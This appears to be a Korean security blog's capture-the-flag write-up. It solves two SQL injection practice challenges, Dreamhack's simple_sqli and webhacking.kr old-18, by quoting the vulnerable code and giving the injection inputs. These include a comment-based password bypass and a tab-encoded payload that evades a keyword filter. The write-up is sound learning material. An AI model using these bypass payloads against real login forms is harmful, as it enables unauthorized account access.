드림핵에 simple_sqli를 sql injection을 이용하여 풀어보겠다
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
user id가 admin인 사람을 찾아야 하기 때문에 {userid}부분에는 admin을 넣고 userpassword검색부분은 무효화 시켜야 할 것 같다
python의 /**/을 이용해서 password부분을 무력화 시키면 된다
막 주석을 하게 된다면 맨 마지막에 "가 남기 때문에
userid 입력은 admin"/*
password입력은 */ and "1=1
으로 하면 된다
old-18
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
위와같이
0%09or%09no=2
%09로 공백을 우회해서 풀면 된다
트러블 슈팅
input창에 넣어서 두번 인코딩되어 삽질함..
'보안' 카테고리의 다른 글
드림핵 | csrf-1 (0) | 2025.04.17 |
---|---|
드림핵 | xss-1 (0) | 2025.04.17 |
웹해킹.kr | old-15, 20 (0) | 2025.04.03 |
웹해킹.kr | old-24 (0) | 2025.03.27 |
보안 및 백엔드 실무 관련 용어 (0) | 2025.03.12 |